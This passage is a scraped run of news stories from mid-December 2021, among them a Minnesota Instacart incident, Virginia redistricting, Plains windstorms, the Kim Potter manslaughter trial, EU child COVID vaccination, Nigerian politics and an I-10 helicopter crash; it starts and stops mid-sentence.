parking lot as they investigated reports of someone trying to smash a liquor store's window, police said. Elkhart Police Department spokeswoman Jessica McBrier said officers were called to the scene about 5:30 a.m. on reports that a person was trying to throw a bicycle through the window of a liquor store. BLAINE, Minn. (AP) Charges are expected soon for a Minnesota grocery cart delivery worker accused of driving over sacks of food meant for an elderly couple because she was angry about their sign supporting law enforcement, police said Tuesday. The incident happened Dec. 6 after the couple ordered $50 worth of groceries from Cub Foods to be delivered by Instacart to their home in the north Twin Cities suburb of Blaine. Police said the couple stepped out to meet the driver, who first told them to check the wreath hanging on their front door and then drove back and forth over the groceries. ANSONIA Two more students have been arrested after allegedly sending threatening messages that prompted a lockdown and dismissal at Ansonia High School Monday, the police department said. Police identified the students as a 16-year-old male student and a 14-year-old female student. Each were charged with threatening in the first degree and breach of peace in the second degree. The two were referred to juvenile authorities, according to Lt. Patrick Lynch with the Ansonia Police Department. An additional student, a 14-year-old boy, was arrested Monday in connection with the threat. He was charged with first-degree threatening and second-degree breach of peace in connection with the threat, police said. The arrests come just a day after the lockdown and dismissal, which took place after a school resource officer was notified of threats on social media, police said. Im not so happy about anyone threatening my school staff, Ansonia Public Schools Superintendent Joseph DiBacco told Hearst Connecticut Media Tuesday. We're going to be immediate and swift when it comes to whatever we do for discipline. On Monday, DiBacco said the appropriate consequences will be administered up to and including expulsion and arrest. On Tuesday, DiBacco said I do wish there was something greater because, like I said, anyone who is saying they're going do something like this? It's shock value, they have a greater issue going on. DiBacco said he plans to write a letter to parents, asking them to better monitor their childrens social media activity. I'm not here to invade their privacy, but I'm here for you to be a parent, he said. Hell ask parents to periodically check what students are doing on their phones, or what they're putting on social media and making sure it's positive and nice, he said. The Ansonia Police Department is also asking parents to monitor what their children do online. Lynch said the department strongly urges all parents to speak with their children about the importance of understanding what they say and the effect it can have on not only themselves but also all the people around them. liz.hardaway@hearst.com FALLS CHURCH, Va. (AP) Proposed redistricting maps under consideration by the Virginia Supreme Court would constitute a significant reduction in the number of majority Black districts in the General Assembly. How to protect minority voting rights has been one of the key points of contention in this redistricting cycle, as well as past ones, in Virginia. Figuring out a solution is a task that falls to the state Supreme Court, which began holding public hearings on the maps Wednesday. The traditional method of ensuring Black representation has been to require districts be drawn with a majority Black population. More recently, though, some experts especially on the Democratic side have suggested that majority Black districts unnecessarily pack too many Black voters into one district, diluting their influence in surrounding districts. In this redistricting cycle, the task of drawing maps first fell to a newly created bipartisan redistricting commission. During public debates, Democrats on the committee pushed for the creation of coalition districts, in which a district with, say, a 40% African American population can form coalitions with other minorities and white voters so that communities of color can elect their candidate of choice. Republicans on the commission favored the traditional focus on creating majority Black districts. The two sides failed to reach consensus on this or any other issue. Because the commission could not agree on any maps, state law now requires the Virginia Supreme Court to draw them. The maps submitted to the court last week contain only seven majority Black legislative districts in the two chambers combined far fewer than the 11 majority Black districts that now exist. Proposals submitted earlier to the redistricting commission would have created anywhere from 10 to 16 districts had they been adopted, according to an analysis from the nonpartisan Virginia Public Access Project. But the maps submitted to the court create a much higher number of majority-minority districts, those in which Blacks, Hispanics and Asians combined represent more than 50% of the population in a given district. The special masters who submitted the maps, Bernard Grofman and Sean Trende, told the court in a memo that the commission "drew districts that would elect the candidate of choice of a minority group only if the district could be drawn in a compact fashion that did not needlessly split counties. They said they were concerned that the maps would be subject to a legal challenge if they drew them with racial considerations in mind, so they drew them without regard to race and then evaluated the racial composition after the fact. Grofman and Trende said they weren't bothered by the fact that the new maps contained so few majority Black districts because they instead emphasized districts where minority groups would have the ability to elect their candidates of choice. Rebecca Green, a professor at William and Mary Law School with expertise in redistricting, said it's not surprising that the proposed maps reduce the number of majority Black districts. For several redistricting cycles, states were careful to maintain or increase the number of Black districts to avoid a lawsuit. That legal framework inflated the number of such districts, she said. But the U.S. Supreme Court in 2013 struck down parts of the Voting Rights Act, and states are no longer obligated to maintain specific numbers of majority Black districts. States are now looking for different ways to comply with the law, and in some cases are embracing the creation of coalition districts. From both a legal and a political standpoint, states have to walk a careful tightrope: Putting too many Black voters in a district leaves a state vulnerable to a charge of packing Black voters. Putting too few in a district can lead to charges of cracking Black voters. While many Democrats have leaned more recently toward creating coalition districts instead of majority Black districts, last month's legislative elections raise questions about the efficacy of that approach. Two Black delegates, Lashrecse Aird and Roslyn Tyler, lost elections in their districts in southside Virginia, a part of the state that exhibits some of the most extreme patterns of racially polarized voting. Both Aird and Tyler had their districts redrawn in 2018 after a federal court found that Black voters were unnecessarily packed into a small number of districts in their part of the state. The redrawn maps significantly reduced the Democratic tilt in both of their districts. The special master who oversaw the redrawn maps in 2018 was Grofman. Aird declined comment on this story through her office, while Tyler's office did not respond to an email requesting comment. Former Virginia Gov. L. Douglas Wilder, the nation's first Black elected governor, said in an interview that Democrats have done a poor job of truly looking out for Black voters interests, ignoring the long and difficult history of electing African Americans in a Southern state. And he said turning over the task of drawing the maps to a supposedly independent commission and now to the court has just exacerbated the problem. Who speaks for those people who have been historically denied through the centuries in Virginia? What groups have you heard coming forth? Wilder asked. I'll wait. OMAHA, Neb. (AP) A powerful storm system swept across the Great Plains and Midwest Wednesday, closing highways in western Kansas, spawning reported tornadoes in Nebraska and Iowa and raising concerns about fires because of unusually high temperatures. The strong winds whipped up dust that reduced visibility to zero west of Wakeeney, Kansas, the state Department of Transportation said, and caused at least four semitrailers to blow over. Kansas officials closed Interstate 70 from the Colorado border to Salina, as well as all state highways in nine counties in northwest Kansas. The National Weather Service said there have been 13 tornado reports in the Plains states, scattered through eastern Nebraska and Iowa. Winds topped 70 mph through much of Kansas, Nebraska and Iowa. To have this number of damaging wind storms at one time would be unusual anytime of year, said Brian Barjenbruch, a meteorologist with the National Weather Service in Valley, Nebraska. But to have this happen in December is really abnormal. The system came on the heels of devastating tornadoes last weekend that cut a path through states including Arkansas, Missouri, Tennessee, Illinois and Kentucky, killing more than 85 people. The National Weather Service issued a high wind warning for an area stretching from New Mexico to upper Michigan, including Wisconsin and Illinois. Gusts topping 80 mph (129 kph) were recorded in the Texas Panhandle and western Kansas. The weather service said an automated observation site in Lamar, Colorado, recorded a gust of 107 mph (172 kph) Wednesday morning. Wind gusts of 100 mph were reported in Russell, Kansas. Greg Butcher, the city administrator in Seward, Nebraska, said he was standing in his office at city hall Wednesday when he saw a giant wall of cloud rolling toward him. Butcher said he braced for a major hit but so far the worst damage appears to be a few toppled telephone poles. We lucked out, Butcher said. It came in really fast. Officials also warned of a dangerous fire risk along the western edge of the weather system, where conditions were dry. A wildfire prompted Sheridan County officials to evacuate a few homes near Quinter in northwest Kansas. Emergency management director Don Koerperich did not have an estimate of how big the fire was but said I'm glad it wasn't near any towns. Other fires were reported in Russell and Ellis counties. Scientists say extreme weather events and warmer temperatures, much like whats happening, are more likely to occur with human-caused climate change. However, scientifically attributing a specific event like this storm system to global warming requires specific analysis and computer simulations that take time, havent been done and sometimes show no clear connection. I think we also need to stop asking the question of whether or not this event was caused by climate change. All events nowadays are augmented by climate change, said Northern Illinois University meteorology professor Victor Gensini. We need to be asking, `To what extent did climate change play a role and how likely was this event to occur in the absence of climate change?' The unusually warm temperatures on Wednesday were due in part to record high ocean temperatures in the Gulf of Mexico, which wouldnt have happened without global warming, said Jeff Masters, a Yale Climate Connections meteorologist who cofounded Weather Underground. That record heat is helping feed heat and moisture into todays storms, increasing their damage potential, he said. Damaging winds were likely to bring down trees and power lines, leading to power outages, the National Weather Service warned. Some schools in Kansas, Nebraska and Iowa either canceled in-person classes or closed early. Officials in Ashland, Kansas, shut down the town's power supply for a few hours to reduce the threat of fire after multiple power poles were knocked down. The system blew into the Plains from Colorado, where high winds knocked out power, closed roads and highways and delayed or canceled hundreds of flights. The weather service said a wind gust of 100 mph (160 kph) was recorded on the airfield at the Air Force Academy in Colorado Springs. Blaire Brush, a spokeswoman for the military academy, said windows on multiple cars and buildings were shattered during the windstorm. She did not know if the windows were smashed by objects flung by the wind or from the force of a gust. On nearby Interstate 25, more than a dozen semitrailers blew over in winds that topped 90 mph (145 kph), according to the Colorado Springs Gazette. In the Southwest, strong winds took down power lines in Shiprock, New Mexico, knocking out power to residents across the Navajo Nation. Blowing dust drastically cut visibility in the Texas Panhandle, where Sherman County Sheriff Ted Allen said all roads in and out of the county were closed. In the Oklahoma Panhandle, the state Department of Transportation reported the main road north from Boise City into Colorado was closed because of collisions and downed power lines. The winds and storms were expected to move quickly east, Thies said. After that, forecasters expect temperatures to plunge, with below freezing temperatures in the northern Plains. ___ Stafford reported from Liberty, Missouri. ___ Associated Press writers Ken Miller in Oklahoma City; Terry Wallace in Dallas; Seth Borenstein in Washington D.C.; Jim Anderson in Denver and Grant Schulte in Omaha, Neb., contributed to this report. MINNEAPOLIS (AP) Kim Potter's use of deadly force against Daunte Wright was not appropriate, a use-of-force expert testified Wednesday at the former suburban Minneapolis police officer's manslaughter trial, undercutting a defense argument that she would have been justified in shooting Wright even if she didn't mean to. The use of deadly force was not appropriate and the evidence suggests a reasonable officer in Officer Potters position could not have believed it was proportional to the threat at the time, said Seth Stoughton, a professor at the University of South Carolina School of Law. Potter, who resigned from the Brooklyn Center police force two days after she shot and killed Wright, has said she meant to pull her Taser instead of her gun after Wright attempted to drive away as officers tried to arrest him on an outstanding weapons possession charge. The defense has called the shooting a horrific mistake, but has also asserted that Potter would have been within her rights to use deadly force on Wright because he might have dragged another officer with his car. Prosecutors, who are nearing the end of their case, have tried to portray Potter as an officer whose intended use of a Taser would have violated her department's policy despite her extensive training. Wright's father, Arbuey Wright, was called by prosecutors to provide spark of life testimony, which Minnesota courts allow to humanize a victim. He described his son as a typical big brother who joked a lot with his two younger sisters, and he said the family got together every Sunday. Arbuey Wright was moved to tears when prosecutors showed jurors photos of him and his son with their arms around each other and one of Daunte Wright with his own son. He was so happy about junior, Wright said. He loved his son. Potter, 49, is charged with first- and second-degree manslaughter in the killing of Wright, who was pulled over on April 11 for having expired license plate tags and an air freshener dangling from his rearview mirror. Video captured the moments when Wright pulled away from officers who were trying to arrest him on the outstanding warrant, with Potter shouting Ill tase you! and then shooting Wright with her handgun. Potter is white and Wright was Black, and his death set off several nights of angry protests in Brooklyn Center. It happened while a white former officer, Derek Chauvin, was on trial in nearby Minneapolis for the killing of George Floyd. Stoughton also testified at Chauvin's trial, saying he judged Chauvin's actions against what a reasonable officer in the same situation would have done and repeatedly found that Chauvin acted excessively when he held Floyd facedown with a knee across his neck for more than nine minutes. On Wednesday, Stoughton reminded jurors that Potter warned that she was about to use her Taser on Wright, and said a reasonable officer would not have decided to use a Taser if they thought there was an imminent threat of death or great bodily harm. What's more, Stoughton said, a reasonable officer in that situation would not have believed" those threats existed. Stoughton said deadly force would have been inappropriate even if Potter believed another officer was in the car because of the risk that nearby officers or Wright's passenger could get shot. And he said that if it appeared Wright was going to drive away, shooting would make things worse because he could be incapacitated and the vehicle itself would become a weapon. After Potter shot Wright, his car drove a short distance down before colliding with another car and injuring several people. Stoughton said the use of a Taser would have been inappropriate for similar reasons: If Wright was incapacitated, the vehicle could turn into an unguided hazard, and if he wasn't, he'd have been motivated to flee. Under either situation, the results are not good for the police, he said. In an acrimonious cross-examination, defense attorney Earl Gray sought to undermine Stoughton's expertise, including by questioning his experience as a police officer. At one point, the judge admonished Gray to stop interrupting Stoughton. Gray got Stoughton to agree that Wright would not have been shot if he hadn't tried to get away, and he fired a series of questions at Stoughton to point out that Wright did not stop resisting the officers despite Potters warnings that she intended to use her Taser. Earlier Wednesday, a use-of-force and Taser instructor from the Brooklyn Center Police Department testified that officers are allowed to use deadly force to stop fleeing suspects. Sgt. Mike Peterson testified under cross-examination by one of Potter's attorneys that officers are trained to provide a warning before they use their Tasers, such as saying Ill tase you. He also agreed under questioning from the attorney that officers can use Tasers against suspects who are violent or physically resisting. Peterson said the decision on whether to use a Taser or any other type of force has to be made in a very short amount of time and that there have been other instances around the country in which officers confused a gun for a Taser. Mistakes can happen when someone confuses a Taser with a gun? Potter attorney Paul Engh asked Peterson. Correct, Peterson said. Stoughton testified later that he knew of only 20 such cases, but defense attorneys used objections to prevent him from talking about how significant that was to Potter's case. Peterson on Tuesday also walked jurors through the Brooklyn Center departments training procedures for using Tasers as prosecutor Matthew Frank showed them pages from the manufacturers and the departments training materials that warn against the dangers of mixing up a Taser and a handgun. Frank also highlighted portions that say a Taser should not be used simply to stop fleeing suspects or on suspects who are operating vehicles. The case is being heard by a mostly white jury. ___ Bauer reported from Madison, Wisconsin. Associated Press writers Sara Burnett in Naperville, Illinois, and Tammy Webber in Fenton, Michigan, contributed. ___ Find the APs full coverage of the Daunte Wright case: https://apnews.com/hub/death-of-daunte-wright ATHENS, Greece (AP) Greece, Italy and a handful of other European Union nations began vaccinating children ages 5-11 against COVID-19 on Wednesday as EU governments braced for the omicron variant to spread quickly during the travel and large gatherings of the holiday season. Acrobats dressed as superheroes rappelled down the walls of a hospital in Milan, Italy, as the city prepared to join the new vaccine rollout. Wearing capes and bodysuits, they stopped to greet patients through the windows at a pandemic ward and other children in a pediatric wing. Youngsters getting their first shot in Greece were given stickers and the day off from school. Greece administered its first shots to younger children hours after authorities announced the country's highest daily death toll of the pandemic: 130 people. Among the first to respond was Greek Education Minister Niki Kerameus. I wont hide the fact that on a personal level, after having talked with doctors and receiving scientific data, our family decided to vaccinate our son, who is 5 1/2 years old, Kerameus said before taking her son, Loukas, to get his shot at an Athens hospital. Dr. Franco Locatelli, the head of Italys Superior Health Council, guided the country through its first devastating wave of the pandemic. He urged Italian families to take part in the child vaccine program, hoping to boost the countrys already high vaccination rate amid a new spike in infections. Consider this an appeal to all families, Locatelli said. Take advantage of this opportunity. Talk to your pediatrician. Vaccinate your children. Do it for them. Show them how much you love your children by giving them the maximum protection possible. Elisabetta Valente, who works as a doctor in Rome, brought her 5 and 9 year old to museum hosting a vaccination center for children. I am a pediatrician, and I work in intensive care units, Valente said. "When you see what happens to those who choose not to get the vaccine, it makes you think, What if they had made a different choice? Spain and Hungary also expanded their vaccination programs to younger children. EU regulators last month approved a reduced-dose vaccine made by Pfizer-BioNTech for use in the 5-11 age group. A two-month surge in infections across Europe eased slightly in early December, but the appearance of the omicron variant has created uncertainty. According to an analysis Tuesday of data from South Africa, where omicron is driving a surge in infections, the variant seems to be more easily spread from person to person and better at evading vaccines, but also milder. A top EU official said Wednesday that the bloc expects omicron to dominate infections in the EU by mid-January. The European Center for Disease Prevention and Control suggested that governments consider travel-related restrictions and press ahead with vaccination campaigns and booster shots. Vaccines for children are voluntary in all EU countries and require parental approval. Authorities in Spain have set an ambitious target for vaccinating younger children before the customary family gatherings at Christmas. Nearly 90% of the country's residents 12 and older have received two vaccine doses. Im encouraged to see so many parents with their children here, Spanish Health Minister Carolina Darias said, visiting a school in a central Spanish town of Toledo where shots were being given on Wednesday. A 40-second video ad by the Spanish Health Ministry featured child actors saying: It's our turn. Our vaccines are finally here! Grandma and grandpa, mom and dad, uncles and aunts and our teacher have already been vaccinated. Poland, Portugal, Croatia and Slovenia plan to lower their vaccine eligibility age later this week. Several hundred people protested Wednesday in front of the government headquarters in the Croatian capital of Zagreb. The protesters chanted Dont kill our kids! and We won't give you our children!" The World Health Organization says more evidence is needed on COVID-19 vaccines in children for it to make general recommendations about their use in kids. It also says vaccines generally should be reserved for those who are the most vulnerable to severe COVID-19 disease, which includes the elderly, people with weaker immune systems, and health care workers. Some EU nations are taking a more cautious approach to vaccinating younger children. Germany has started a region-based rollout, the Netherlands is waiting until after the holidays and France is prioritizing children who suffer from heart and respiratory problems, obesity, and diabetes. Britain was slower than many European countries to start vaccinating children ages 12-15, and it has not yet approved vaccines for younger children. Wei Shen Lim, a member of the U.K.s Joint Committee on Vaccination and Immunization, said the group expected to make a decision before Christmas but was awaiting a recommendation from British regulators. Conservative lawmaker Jeremy Hunt, a former health minister, criticized the delay on approving vaccines for younger children. Our regulators, having been the nimblest in the world, are now taking too long, he said. ___ Winfield reported from Rome. AP journalists from around Europe contributed to this report. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic BEAVER, Pa. (AP) A western Pennsylvania woman has been sentenced to two consecutive life terms in prison without possibility of parole in the deaths of her two children earlier this year. Krisinda Bright, 58, pleaded guilty Tuesday to first-degree murder charges as part of a plea agreement that spared her a possible death penalty. The Federal Government has said President Muhammadu Buhari prevented terrorists from declaring an Islamic State in Nigeria. Minister... The Federal Government has said President Muhammadu Buhari prevented terrorists from declaring an Islamic State in Nigeria. Minister of Information and Culture, Lai Mohammed while addressing a press conference in Abuja on Wednesday, said Buharis emergence as president stopped terrorists from declaring Nigeria an Islamic State. The minister recounted how terrorists took control of most states during the previous Administration. According to Mohammed: With the way, the insurgents were going before this Administration came into office, with their control of a vast swath of land the size of Belgium, with their freewheeling attacks in almost a dozen states, including the Federal Capital Territory which was hit at least five times, perhaps they could have achieved their aim of declaring an Islamic State in Nigeria if President Buhari had not acted decisively. After all, in 2014, Boko Haram declared a Caliphate in Gwoza after capturing Bama and Gamboru as well as other towns and villages in Borno, Yobe and Adamawa. They installed their own Emirs, collected taxes and flew their flag before the military dislodged them. Ifeanyi Ejiofor, the lead counsel to the leader of Indigenous People of Biafra, Nnamdi Kanu, has tackled the Department of State Services ... Ifeanyi Ejiofor, the lead counsel to the leader of Indigenous People of Biafra, Nnamdi Kanu, has tackled the Department of State Services over claims that the IPOB leader is living a luxurious life in detention. In a press statement on Wednesday, Ejiofor said his client is tortured mentally and psychologically on a daily basis in detention. Contrary to claims by DSS spokesperson, Dr Peter Afunanya, the IPOB lawyer claimed that Kanu is subjected to 23 hours daily solitary confinement. Ejiofor in a statement titled, Press statement in rebuttal of the wrong narrative being fed the public by the DSS vide their spokesperson, said Kanu is not also allowed to change his outfit since he was repatraited from Kenya. Part of the statement read, Our client Onyendu Mazi Nnamdi Kanu needs not be subjected to daily beatings and flogging by the personnel of the DSS before he can be qualified as being tortured No! Section 2(b)(iv) of the Anti-Torture Act 2017, defined torture to include: (b) Mental or psychological torture, which is understood as referring to such cruel, inhuman or degrading treatment calculated to affect or confuse the mind or undermine a persons dignity and morale. We were unable to find in any place throughout his statement where Mr. Afunanya clearly denied the fact that our client Onyendu Mazi Nnamdi Kanu is not subjected to 23 hours daily solitary confinement. In his desperate effort to deny the obvious, Mr. Afunanya stated that our client is allowed the opportunity of daily changing of his clothes. This is a blatant falsehood! Our client has not changed this cloth since June 2021 he has been in the DSS facility till date. It is pertinent to inform the public at this juncture that even our clients family voluntarily bought his prayer shawls and holy book, which items meant for prayers were submitted for the detaining authoritys scrutiny but they vehemently rejected the items and consequently returned them to us, insisting that they will procure the said items for him. Till date, the DSS has woefully failed and/or refused to provide our client with these items, even when the Court recently ordered that our Client be allowed to practice his religion. The fact that our clients potassium level is depleted, which is a serious medical condition that the medical department of the DSS is struggling day and night to address is beyond denial. Onyendus blood sample has been drawn for well over 21 times for laboratory examinations but till date, no solution is in sight. Their trial and errors has continued unabated. To be very fair to the DSS, from June 2021 when our client was taken into custody up until 10th November 2021, when he was openly threatened in court by one of the DSS personnel that escorted him to court, our client never complained to us that he was either being poorly fed or starved. However, since that officer boasted in open court that he would deal with Onyendu during the altercation, which threat was captured in a short clip, they started feeding him with poorly prepared food, and later graduated to starving him. If they have reverted back to status quo, it may be after we raised alarm, but this is still subject to confirmation. Ahmed Wase, deputy speaker of the house of representatives, has alleged that some officers of the Nigeria Police Force (NPF) work with ban... Ahmed Wase, deputy speaker of the house of representatives, has alleged that some officers of the Nigeria Police Force (NPF) work with bandits to fuel insecurity in parts of the country. Wase, an All Progressives Congress (APC) lawmaker from Plateau, spoke on the floor of the house during plenary session on Tuesday. The deputy speaker, who sponsored a motion of urgent public importance on the need to halt wanton killings and kidnappings, narrated instances in which police officers allegedly released suspects without charging them to court. The security is not helping in this situation. I will give two or three instances; that is why I am concerned. Citizens are making efforts through vigilantes and other operations, he said. The kidnap of my district heads wife by kidnappers when they took her, the vigilantes went up to Taraba to get those bandits. As I am talking to you, those bandits have been released by the police. Secondly, of recent, there was an arrest of somebody who was found to be conniving with bandits in my own locality. He made a confession which was on video and it went viral. As I am talking to you, that person has been released. There is a case one of my nephews working in Kaduna that was taken by bandits to far away Birnin Gwari. The combined forces of the air force went there and rescued him. They were able to arrest them. Among the people that did that dastardly act was a member of his household. Mr speaker, the police released all those people arrested. I took my time to visit governor el-Rufai and mentioned the matter to him. He took it upon himself. The next thing was that the counsel to the state called my nephew that the matter has been spoiled by the police. Even the person investigating the case has been removed from the case. Mr speaker, I think we are drifting. I saw a video yesterday of two police officers who were dismissed by the police because they came here (Nasarawa) to arrest armed robbers. They were offered N8 million to release the robbers. As I am talking to you, this morning, the army wanted to take them for profiling but the DPO who had released them is enjoying himself in Nasarawa. You, I and Mr president can only give directives. Even when people are gotten and paraded, there would be no conviction. There is no attempt to take them to court. Contributing to the motion, Toby Okechuchwu, deputy minority leader, said the matter must be investigated. For the first time, Nigeria is haemorrhaging all through, he said. Nasir Ali, a lawmaker from Kano, said the situation in the country has not improved despite several security resolutions passed in the house. Every single day, we discuss security motions in this house. This is the time for a total overhaul of the countrys security architecture, he said. Also speaking, Ndidu Elumelu, miniority leader, raised a point of privilege and said it has been going on (killings) and on around. I am happy that the number six citizen has been affected. I am happy that he has been affected. APC government has failed, Elumelu added. Femi Gbajabiamila, speaker of the house, however, ruled that the minority leader was out of order. You are the minority leader. We are dealing with a matter that affects everybody. Whether you are an APC member or PDP, we should not reduce such matter to partisan matter. Even when Toby was speaking, he could not resist making it a partisan issue, the speaker said. After the motion was adopted, the house set up an ad hoc committee to investigate Wases allegation and report back within two weeks. POLICE REACT Frank Mba, police spokesperson, did not respond to calls to comment on the claims made by the deputy speaker. However, Ubah Ogaba, police spokesperson in Plateau state, said that the allegations were false. How can that be true? Core responsibility is to protect lives and property. People will just speak out of sentiment. It is not right. There is nothing of such that has happened in Plateau state, he said. Watertown, NY (13601) Today Cloudy with snow developing after midnight. Low 26F. Winds WSW at 15 to 25 mph. Chance of snow 70%. 1 to 3 inches of snow expected.. Tonight Cloudy with snow developing after midnight. Low 26F. Winds WSW at 15 to 25 mph. Chance of snow 70%. 1 to 3 inches of snow expected. Popeyes has signed a deal with a French restaurant group and plans to open hundreds of fried chicken locations across France in upcoming years. The company announced an agreement with napaqaro, a leading French restaurant group. It comes on the heels of Popeyes' recent entry into Spain and the United Kingdom. When Popeyes opened a location in East London in late November, it drew international attention, with reports of people standing in lines for two or three hours. David Shear, president of RBI International, the parent company of Popeyes, said France is one of the largest quick service restaurant markets in the world. Along with France, the agreement with napaqaro also allows Popeyes to open restaurants in Monaco. Food and restaurant news in your inbox Every Thursday we give you the scoop on NOLA dining. Sign up today. e-mail address * Sign Up Jocelyn Olive, president and chief executive officer of napaqaro, said the plan is to source the restaurants entirely with fresh French chicken and local natural ingredients. Popeyes has more than 3,600 restaurants across the world. This year, the company announced plans to move into India, Mexico, Romania and Saudi Arabia. This story has been edited since it was first published to correct the number of Popeyes restaurants open worldwide. A year after Louisiana began rolling out coronavirus vaccines in what many hoped would bring an end to the pandemic, the omicron variant has set off a fresh set of worries among area health professionals. Omicron cases have been detected in several parts of the state, including in New Orleans and at Tulane University, where school officials have reinstated mask mandates and optional remote classes. Louisiana COVID cases, while still very low compared to recent pandemic waves, have started to tick higher. And as scientists around the world work to determine the omicron variant's severity, public-health professionals say that now is the time to prepare for what could be the pandemic's next wave, before it is spreading wildly and filling area hospitals again. We do have the ability to blunt this bump, said Dr. Lucio Miele, the director of the LSU Health New Orleans Precision Medicine Laboratory. Its a matter of the choices each of us makes. Mask mandate reinstated at Tulane University as COVID cases rise, omicron detected Tulane University officials confirmed a probable case of the omicron variant in a graduate student and reinstated a campus-wide indoor mask ma Miele said he wasnt surprised to find cases two and three of omicron in his lab last week. Hes expecting more on Wednesday as results from sampling come in, and is already encouraging people to get vaccinated, get a booster shot, wear masks in crowded places and increase testing and social distancing. Researchers say it's clear that omicron is highly infectious and that vaccines, while lessening the virus's severity, aren't as effective at preventing infection. Studies of outbreaks in South Africa and the U.K., where the variant is quickly spreading, haven't yet confirmed if it is leading to milder cases overall. The highly mutated variant drew international attention around Thanksgiving when researchers in South Africa reported a rapidly growing number of cases. The U.K., which has one of the most thorough surveillance programs in the world, has reported that cases have more than doubled every three days in recent weeks. Were still finding out more about what to expect, said Dr. Julio Figueroa, chief of infectious diseases at LSU Health New Orleans, though he noted that studies already show it is more transmissible than delta, the variant that led to soaring cases and hospitalizations in Louisiana this summer. The new variant accounted for around 3% of sequenced Covid-19 cases in the United States in the week ending Dec. 11, up from 0.4% the week before. During a Tuesday briefing, top federal health officials predicted a January surge that will once again strain the capacity of hospitals to care for patients, both COVID and otherwise. What has worried health experts most in a state like Louisiana, where 50% of the population is fully vaccinated compared to the national rate of 61%, is that prior infection, so-called natural immunity, does not appear to be as effective against omicron. Given that weve got in Louisiana so many people unvaccinated, even if theyve had previous exposure to delta naturally, South Africas data suggests that it's not protective, said Susan Hassig, an epidemiologist at Tulane University. Louisiana Supreme Court hears arguments from Ochsner, employees over vaccine mandate The Louisiana Supreme Court heard arguments Tuesday from lawyers representing Ochsner Health and employees challenging the hospital operator's Vaccine news in your inbox Once a week we'll update you on the progress of COVID-19 vaccinations. Sign up today. e-mail address * Sign Up Louisiana also tends to have a sicker population, with many people who have obesity, diabetes and heart disease all of which put people at a higher risk for severe outcomes. But as both omicron and delta fuel outbreaks overseas, Louisiana could be in a better position to stop another surge since cases right now are so low. As of Tuesday, the Louisiana Department of Health reported that 198 people were hospitalized for COVID, hovering around the lowest levels since the pandemic began and well below the delta surge's high of 3,022 in mid-August. Over the last seven days, the state has reported 2,382 new infections, up 40% since last month, but still well below the nearly 30,000 counted in a week at the height of the delta wave. We are in some ways in the South in a little better position, said Hassig, pointing out that states in the Northeast and Midwest may soon be dealing with both delta and omicron outbreaks. Weve got a little bit more freeboard. It is unclear what percentage of COVID cases omicron accounts for currently in Louisiana, where 45 cases of omicron have been identified since Dec. 3. Meanwhile, there have been some hopeful signs around boosters and their effectiveness against the new variant. Pfizer said a third shot of its vaccine increased antibody protection by 25-fold against omicron compared to two doses. And a study released Tuesday from South Africa found that while omicron reduced the two-dose Pfizer vaccine's ability to prevent infection to 33% from 80% for Delta, its effect on hospitalizations was less worrisome, falling to 70% from 93%. But death and hospitalization arent the only bad outcomes. About one in three people infected with COVID have long-term health problems, according to a study from the Centers for Disease Control and Prevention. It isn't just about catching COVID and dying or not dying, said Miele. It's about the risk for long COVID. Hassig pointed out that mask mandates and other steps to slow the spread of the virus have always been slow to the punch, coming as cases are already on a sharp incline. Now is the time to reinstate a mask mandate, she said. New York and California officials said both states will enforce statewide indoor mask mandates this week. +10 For some Louisiana nurses, COVID was the last straw When Katie Remes New Orleans-area hospital needed nurses to staff a new COVID ward in March 2020, she volunteered. She wanted to be there for The Associated Press contributed to this report. Interstate 10 will close in both directions Wednesday between Kenner and LaPlace so workers can repair damage caused by Tuesday's fatal helicopter crash. Update: Interstate closures rescheduled for Sunday I-55 also will close, according to Louisiana State Police. The closures are scheduled to start at 11 a.m. and are expected to last three hours. Drivers should plan for delays and detours. Officials are closing the interstates to complete repairs to the power lines that were damaged during the crash. +9 Photos: Helicopter crash closes I-10 East over Bonnet Carre Spillway A helicopter heading to New Orleans crashed Tuesday, Dec. 15, 2021, in the eastbound lanes of Interstate 10 between LaPlace and Kenner. The pi Closures, detours Here's the closure plan from officials: - I-10 East will be closed at Highway 51 in LaPlace. Traffic will be diverted to Highway 51. - I-10 West will be closed at I-310 in Kenner. Traffic will be diverted to I-310 South. - I-55 South will be closed at Highway 51 in LaPlace. Traffic will be diverted to Highway 51. Sections of I-10 and I-55 were closed for about 10 hours Tuesday while authorities responded to the crash, which killed the pilot. The eastbound lanes of I-10 and the southbound lanes of I-55 reopened around 11 p.m. Tuesday. See the latest traffic conditions via 511LA.org. Top stories in New Orleans in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up Chopper was heading to New Orleans The Bell 407 chopper was heading from Gonzales to Lakefront Airport in New Orleans, where it was supposed to pick up three passengers, the airport director said. UPDATE: Pilot killed in helicopter crash near spillway identified as Livingston Parish man Instead, it clipped an Entergy Louisiana transmission line around 12:30 p.m. and fell onto the eastbound side of the highway near milepost 212 in St. Charles Parish. Authorities did not immediately release the pilot's name. WBRZ reported that the pilot was from the Baton Rouge area and flew helicopters for an industrial construction company. The crash briefly cut off power to 20,000 customers in Kenner and Metairie, according to Entergy. Crash under investigation The National Transportation Safety Board said it will take the lead on investigating the crash, with assistance from the Federal Aviation Administration. An investigator was en route to the crash scene Tuesday afternoon, board staff said. The investigation will include the weather conditions at the time of the crash. Staff writers Matt Sledge and Missy Wilkinson contributed to this story. A helicopter pilot crashed and died on the Interstate 10 bridge over the Bonnet Carre Spillway during fog Tuesday afternoon, creating a multi-parish traffic jam and briefly cutting electricity to 20,000 customers in Kenner and Metairie. UPDATE: Pilot killed in helicopter crash near spillway identified as Livingston Parish man The Bell 407 chopper was heading from Gonzales to Lakefront Airport in New Orleans, where it was supposed to pick up three passengers, the airport director said. Instead, it clipped an Entergy Louisiana transmission line at about 12:30 p.m. and fell onto the eastbound side of the highway near milepost 212 in St. Charles Parish. The pilot was killed in the crash, Louisiana State Police trooper Kate Stegall said. There were no casualties on the highway. Authorities did not immediately release the pilot's name. WBRZ television reported that the pilot was from the Baton Rouge area and flew helicopters for an industrial construction company. Eastbound I-10 was quickly closed at LaPlace. State highway officials said they planned to close westbound I-10 at I-310 from 8:30 p.m. to Wednesday at 2 a.m., while Entergy repaired its damaged infrastructure. I-10 motorists described a disturbing scene after the crash. One woman said she spotted a helicopter flying low during heavy fog shortly before the crash. "It was following straight along over the interstate, over the cars," Tenney Arrighi said. "Fairly quickly, I lost sight of it because of the fog. As I was maybe a mile onto the spillway, everybody slammed on the 